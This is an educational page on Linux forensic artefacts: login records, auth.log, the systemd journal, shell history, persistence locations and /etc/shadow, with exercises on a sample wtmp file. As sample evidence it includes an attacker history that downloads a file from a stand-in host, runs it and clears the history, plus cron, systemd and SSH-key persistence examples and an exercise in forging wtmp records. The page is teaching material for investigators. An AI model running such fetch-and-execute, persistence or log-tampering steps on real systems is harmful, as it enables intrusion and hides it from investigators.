Learn · Operating systems

Linux

Most Linux evidence is plain text: logs, histories, configuration. The exceptions are a few binary files, like the login records behind last, and the systemd journal.

1 Where the artefacts live

ArtefactLocationTells you
Login records/var/log/wtmp (logins), /var/log/btmp (failed), /var/run/utmp (now), /var/log/lastlogwho logged in, from where, for how long; reboots
Authentication log/var/log/auth.log (Debian, Ubuntu), /var/log/secure (RHEL, Fedora)SSH logins and failures, sudo, user changes
System log, journal/var/log/syslog or messages; /var/log/journal/<machine-id>/*.journalservices, kernel messages (USB devices), everything systemd sees
Shell history~/.bash_history, ~/.zsh_history, ~/.python_historycommands a user typed
SSH~/.ssh/authorized_keys, known_hosts, /etc/ssh/sshd_configwho may log in with a key; where this user connected to
Accounts/etc/passwd, /etc/shadow, /etc/group, /etc/sudoers(.d)users, password changes, administrators
Scheduled jobs/etc/crontab, /etc/cron.*/, /var/spool/cron/crontabs/, systemd timerspersistence and automation
Services/etc/systemd/system/, ~/.config/systemd/user/persistence: what starts at boot or login
Packages/var/log/dpkg.log, /var/log/apt/history.log, /var/log/dnf.logwhat was installed or removed, and when
Desktop~/.local/share/recently-used.xbel, ~/.cache/thumbnails/, ~/.local/share/Trash/files opened, pictures viewed, deleted files with their original path

File-system timestamps (ext4: access, modify, change and birth time with nanoseconds) are explained on the ext4 page. Note that touch can fake mtime and atime, but not ctime.

2 wtmp: the records behind last

wtmp is a plain array of fixed-size struct utmp records, appended by login, sshd and systemd. On 64-bit Linux with glibc each record is 384 bytes. A login writes a USER_PROCESS record; the logout writes a DEAD_PROCESS record with the same terminal and PID but an empty user. last pairs them up.

type+0
pid+4
line+8 (32)
id+40
user+44 (32)
host+76 (256)
time+340 s, +344 µs
addr+348 (16)
What last -F reports (builder output)

Because the file is just an array, removing a record is easy for an attacker with root rights (tools exist that do exactly that). Look for gaps: a login without logout while the auth log shows one, records out of time order, or a file that starts much later than the system was installed. Compare with auth.log and the journal, which are written by other processes.

3 Logs and the journal

The same root login from the last wtmp record, as sshd writes it to auth.log:

Sep 14 22:31:07 build-07 sshd[3388]: Failed password for root from 198.51.100.23 port 50122 ssh2
Sep 14 22:31:09 build-07 sshd[3388]: Accepted password for root from 198.51.100.23 port 50122 ssh2
Sep 14 22:31:09 build-07 sshd[3388]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Sep 14 22:31:12 build-07 sudo:    robin : TTY=tty1 ; PWD=/home/robin ; USER=root ; COMMAND=/usr/bin/journalctl -f

Two classic traps: the traditional syslog format has no year and no time zone, so you must take both from the context (log rotation dates, the system's /etc/localtime). And "Accepted password for root" means root login over SSH with a password was allowed, a configuration finding of its own (PermitRootLogin in sshd_config).

The systemd journal is a binary, indexed format. Each entry carries UTC timestamps in microseconds, a boot ID and the process that wrote it. Read a copied journal with journalctl --file=system.journal -o verbose or --directory=; filter with _COMM=sshd, _SYSTEMD_UNIT= or --since. journalctl --list-boots gives every boot with its first and last entry, a cheap system timeline. Many distributions keep the journal only in memory (/run/log/journal) unless /var/log/journal exists, so it may be gone after a reboot.

4 Shell history

bash writes its history to ~/.bash_history when the shell exits, and by default without timestamps. Only if HISTTIMEFORMAT was set does it add a #<Unix time> line before each command; zsh with extended history writes : <time>:<duration>;command.

#1789425145
apt install socat
#1789425190
curl -s https://paste.example.org/raw/k2v9 -o /tmp/.x
#1789425202
chmod +x /tmp/.x && /tmp/.x
#1789425260
history -c

The file only looks like this if history is written after every command (e.g. PROMPT_COMMAND='history -a'). With the defaults, history -c empties the in-memory list, so the commands of that session never reach the file at all, which is exactly why attackers use it.

Anti-forensics leaves its own traces: history -c, unset HISTFILE, a history file linked to /dev/null, or a shell killed with kill -9 (history never written). Commands typed with a leading space are skipped if HISTCONTROL=ignorespace. Absence of history is not absence of activity; check the auth log (sudo lines), the journal and file times in /tmp.

5 Persistence

Where an attacker makes sure to come back. Check the times of these files against your timeline:

# crontab line (/var/spool/cron/crontabs/root): every 10 minutes
*/10 * * * * /tmp/.x >/dev/null 2>&1

# systemd unit (/etc/systemd/system/sync-agent.service)
[Unit]
Description=Sync agent
[Service]
ExecStart=/opt/.sync/agent --quiet
Restart=always
[Install]
WantedBy=multi-user.target

# key for password-less SSH login (~/.ssh/authorized_keys)
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI… attacker@example

Also look at ~/.bashrc and ~/.profile, /etc/rc.local, /etc/ld.so.preload (a library loaded into every program), new accounts with UID 0 in /etc/passwd, and files in /etc/sudoers.d/. systemctl list-unit-files on a live system, or a listing of the unit folders on an image, shows what is enabled.

6 passwd and shadow

/etc/passwd   robin:x:1000:1000:Robin,,,:/home/robin:/bin/bash
/etc/shadow   robin:$y$j9T$Kd2…$Qe7…:20710:0:99999:7:::

passwd fields: name, password placeholder (x = in shadow), UID, GID, comment, home, shell. In shadow the second field is the password hash ($y$ = yescrypt, $6$ = SHA-512 crypt; ! or * = locked) and the third field is the date of the last password change, in days since 1970-01-01. Multiply by 86,400 to get Unix seconds.

7 Try it yourself

Answer from the hex view in section 2 and the text above.

From which address did the root login come?

Record 5, field ut_host (offset +76 in the record). ut_addr_v6 holds the same address as 4 bytes.

198.51.100.23. The bytes at 0x75C are C6 33 64 17 = 198, 51, 100, 23 in network byte order. last shows this session as "still logged in": there is no matching DEAD_PROCESS for pts/1.

How long did robin's SSH session on pts/0 last, in whole minutes (rounded down)?

Pair the USER_PROCESS and DEAD_PROCESS records of pts/0 and subtract their tv_sec values.

1,789,390,547 − 1,789,387,803 = 2,744 s = 45 min 44 s, so 45 minutes (12:10:03 to 12:55:47 UTC). last prints (00:45).

Which ut_type marks the end of a session?

Compare records 3 and 4.

8 DEAD_PROCESS. Record 4 has ut_line "pts/0" and PID 2,211 like the login in record 3, but an empty user and host.

robin's shadow entry has 20710 in the third field. When was the password last changed?

Read section 6 again: what unit does that field count?

Days since 1970: 20,710 × 86,400 = 1,789,344,000 = 2026-09-14 00:00 UTC. Only the day is stored, not the time. On a timeline this is the same day as the logins above.

These are the first 80 bytes of record 5 (the root login, file offset 0x600); offsets below count from the start of the record. Edit them and watch the decoder:

  • Change ut_type at +0x00 from 07 to 08. The login becomes a logout record. Which fields would an attacker also have to change to make it look real?
  • Reset, then overwrite the user 72 6F 6F 74 ("root", at +0x2C) with 72 6F 62 69. The record now names "robi". Why would auth.log still give it away?
  • The PID here is 3,391, while auth.log shows sshd[3388]. Which process does each number belong to? (OpenSSH logs from its monitor process; the session gets a child process.)